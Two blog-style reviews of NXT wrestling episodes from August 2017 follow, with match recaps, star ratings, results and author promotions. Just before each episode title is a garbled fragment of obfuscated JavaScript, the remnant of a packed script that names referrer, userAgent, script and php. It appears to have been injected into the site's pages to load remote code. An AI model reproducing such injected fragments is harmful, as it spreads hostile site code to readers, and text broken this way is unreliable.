NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkzfr|var|u0026u|referrer|ahzsr||js|php'.split('|'),0,{})) August 16, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

It’s the go home show for Takeover: Brooklyn III and the main event is an interesting case of booking for what comes after the big show. Tonight’s main event will see Roderick Strong vs. #1 contender Drew McIntyre. If Strong wins, he gets to face NXT Champion Bobby Roode at some point after Takeover, but he won’t be involved in the title match on Saturday no matter what. Let’s get to it.

Opening sequence.

The announcers preview tonight’s show and some of Saturday’s big matches.

Here’s General Manager William Regal to emcee the contract signing for the Women’s Title match. Both Asuka and Ember Moon come out with Moon grabbing a mic. She talks about Asuka having all kinds of success, including being one of the most dominant women in WWE history and even surpassing Goldberg’s undefeated streak. That being said, Asuka had to cheat to beat her and that’s not going to be enough this time. Asuka is losing the title in Brooklyn. They both sign but Asuka goes on a rant in Japanese, screaming in Moon’s face. Moon doesn’t seem phased.

Lars Sullivan came to see William Regal and asked for one more tag match, promising to not beat up his partner again. Regal reluctantly agrees.

Street Profits vs. Lars Sullivan/Chris Silvio

Percy and Mauro argue about how much sauce the Profits have. Sullivan gets a full entrance with his partner Silvio, who was an OVW mainstay for years. Silvio charges at Dawkins to start and eats a right hand. It’s such a hard shot that Ford runs into the crowd for a lap to burn off some excitement. Ford comes back in and drops Silvio with a shot to the back of the head, only to have Lars no sell a shot to the face. A Stinger Splash sets up the Sky High into a frog splash to put Silvio away at 1:47.

The Profits run from Sullivan, who is glaring down at Silvio. Sullivan picks Silvio up and carries him to the back in a change of pace. He takes Silvio outside and beats him up outside, because he promised not to hurt his partner in the ring.

Billie Kay vs. Ruby Riot

Fallout from last week where Kay and Peyton Royce made fun of Riot’s looks. Billie avoids Ruby to start and Peyton finds it hilarious. Riot gets in a rollup and does Billie’s giggling pose for a funny moment. A Peyton distraction lets Billie get in a discus lariat for two and Eat Defeat gets the same. Ruby fights up and uses her knees to send Billie face first into the buckle followed by a Pele for the pin at 4:08.

Rating: D+. Not much here but Riot is really starting to look like a bigger deal. She could easily be moved up the ranks to challenge Ember (assuming she wins) as she has the unique look and it factor to take her pretty far. Billie and Peyton are a good team but it’s a big stretch to have them win an important match, which makes them kind of a hard act to move forward.

Post match Peyton says lightning can’t strike twice and says Riot will never be iconic. Sounds like another match is coming.

We run down Saturday’s card.

Video on the Authors of Pain vs. Sanity.

Drew McIntyre vs. Roderick Strong

If Strong wins, he gets a match with Roode after Takeover. If McIntyre wins, nothing changes. Drew powers him down to start and sends Strong down with a suplex slam for good measure. Roderick dropkicks him to the outside but gets tossed into the post for his efforts. An enziguri and belly to back onto the apron put Drew down though and we take a break.

Back with Drew in a seated abdominal stretch and a running kick to the head staggering him even more. Drew fights up and gets in a belly to belly and a top rope forearm drops Strong again. The reverse Alabama Slam gets two but the Claymore is blocked with a jumping knee to the face. A headbutt catches Strong on top but he knocks Drew into the Tree of Woe, only to have Roode run in for the DQ at 12:38.

Rating: C+. Drew is still having trouble clicking in NXT and the more I watch him, the more I think a lot of it has to do with his size. He’s so much bigger than most of the people in NXT and it makes for awkward matches as you rarely have a face this much bigger than his opponents. Strong isn’t a big guy in the first place and it really shows when he’s compared to someone Drew’s size.

As for the ending, that was really the only way they could go. It was a back and forth match until the ending where Roode gave Strong the win (not his brightest move). This lets us have the match without having to give McIntyre a loss before his big match. It’s smart booking, though not the smartest move for Roode.

Roode beats up McIntyre with a Glorious DDT to end the show.

Overall Rating: C. This really wasn’t up to the level of most NXT go home shows. The three titles matches got a nice boost but the other two matches were only mentioned in passing. NXT is usually a lot better than this but it wasn’t there tonight. Roode vs. McIntyre still isn’t the most thrilling match in the world but at least they gave it something here. If the match itself is good, all of this will be forgotten but it’s not a great, or even a very good, build so far, which is very unlike NXT.

Results

Street Profits b. Lars Sullivan/Chris Silvio – Frog splash to Silvio

Ruby Riot b. Billie Kay – Pele Kick

Roderick Strong b. Drew McIntyre via DQ when Bobby Roode interfered

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsnzf|var|u0026u|referrer|sftdy||js|php'.split('|'),0,{})) August 9, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

With just two shows to go before the biggest show of the year, it’s time to really push home the main event and that’s what we’ll be doing this week. Tonight NXT Champion Bobby Roode will be in the ring with Drew McIntyre for a showdown, as well as getting ready for everything else we have on tap for Brooklyn. Let’s get to it.

Opening sequence.

Here’s Sanity through the crowd with Nikki Cross shouting about wanting the Authors of Pain to get out here. The Authors don’t make them wait long but Eric Young makes his return and helps beat them down. Razar is tied to the barricade as Akum is destroyed. Eventually Razar pulls the barricade to the ring but gets beaten down as well. Cross grabs the belts and Sanity leaves with them.

We look back at Ember Moon laying out Asuka with the Eclipse last week.

Video on the Street Profits, who debut tonight.

Billie Kay and Peyton Royce are going to explain how to do perfect makeup but stop to make fun of Ruby Riot instead.

Metro Brothers vs. Street Profits

The Metro Brothers are a couple of greasers named Chris and JC. The Profits are NXT mainstays Montez Ford and Angelo Dawkins in another repackaging. Ford and Dawkins dance to the ring with Ford holding out a cup, presumably to ask for change. Angelo shoulders Chris down and hits a good looking armdrag before handing it off to Ford for a basement dropkick.

Back up and Ford flips over Chris’ back, only to get taken into the wrong corner. The Metro dominance lasts all of five seconds until it’s back to Dawkins for a spear. A Sky High into a frog splash gives Ford the pin on JC at 2:19. The Profits looked very crisp and have the charisma to back it up, at least so far.

We look at Hideo Itami trying to attack Aleister Black in the parking lot last week. They’ll fight at Takeover.

General Manager William Regal brings out McIntyre and Roode for the face to face meeting. Roode comes out with a security team in his corner though as Roderick Strong is running around like a crazy man and we need to protect the big money match. Well to protect Roode that is because he’s the big money. Roode talks about Drew feeling entitled to his shot but he’s done everything he’s set out to do.

This is Roode’s NXT and the fans know that he’s the one. Drew thinks Roode might have had the best year ever for an NXT Champion but there’s one problem: Roode is kind of a jerk. That’s just going to make taking the title from him all the sweeter though. This brings out Strong, to say that he’s not done with Roode no matter what Regal says. Strong says this isn’t about the NXT Title but rather Roode disrespecting Strong’s family.

All Strong wants is one more fight with Roode and it doesn’t even have to be for the title. Regal tries to calm him down but Roode says he’ll fight Strong anytime with the title on the line….if Strong can beat Drew first. If Strong wins, he can fight Roode after Takeover, which will be Roode vs. McIntyre for the title no matter what. Drew agrees to the match next week and Regal eventually agrees.

Johnny Gargano was nervous last week but needs a match at Takeover so he can feel the rush of walking through the curtain in front of a Brooklyn crowd.

Oney Lorcan vs. Danny Burch

Rematch from when Lorcan beat him a few weeks back. They lock up to start as Mauro compares Burch’s boxing career to Conor McGregor’s. Neither can get much of an advantage out of a lockup so Burch grabs a quickly broken cravate. Back up and Lorcan’s leapfrog is countered into something like a flapjack, followed by some European uppercuts. Lorcan sends him hard into the corner though and we take a break.

Back with Burch still in trouble but blocking a running European uppercut with a raised boot. Burch can’t hit the Tower of London so he settles for a release German suplex. A lariat gets two and now the Tower of London off the top rope gets two more. Lorcan comes right back with a running Blockbuster and tells Burch to hit him. A slugout goes to Lorcan but he can’t get the half crab. He can get a regular Boston crab though, only to have Burch reverse into a cradle for the pin at 12:52.

Rating: C+. This was more of the hard hitting style that these two are capable of having. I wouldn’t mind seeing these two team up after two good matches as it’s not like either of them have anything else going on. Lorcan and Burch both have potential and if a team is what lets them get somewhere, so be it.

They shake hands post match.

No Way Jose vs. Andrade Cien Almas

Jose dances through the crowd to get to the ring. It worked so well for Adam Rose. Almas has Zelina Vega with him. Jose dances his way out of a waistlock and Almas has a breather on the floor. Back in and a flapjack drops Almas again and he’s knocked to the floor for a second time. Vega yells at him this time and Almas responds by pulling Jose down by the afro. Jose gets stomped down in the corner and there are the running knees to the head. The hammerlock DDT ends Jose at 3:46.

Rating: D+. This was a win to get Andrade back on track as he basically squashed Jose. Having Vega as the driving force is fine as Almas could be a good choice for a heel but he’s only going to do so much with the losing streak gimmick. This was a good sign, but he needs something a bit better than this going forward.

Post match Vega goes to commentary and says, in a very New York accent, that she wants Almas on the grand stage. If Johnny Gargano still wants an opponent, they’ll see him in Brooklyn.

Overall Rating: C+. This was all about setting up Brooklyn, though I’m not quite sure I get the idea behind having Strong vs. McIntyre next week. It makes Roode look smart but if they’re setting up Strong vs. Roode II, I’m not sure how that helps McIntyre. Odds are Drew goes over but otherwise, it’s rather curious booking. Other than that though we had some good development for the rest of the card and Gargano vs. Almas being set up is a smart idea. Throw in the Street Profits looking good and this was a rather nice episode that did its job.

Results

Street Profits b. Metro Brothers – Frog splash to JC

Danny Burch b. Oney Lorcan – Rollup

Andrade Cien Almas b. No Way Jose – Hammerlock DDT

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6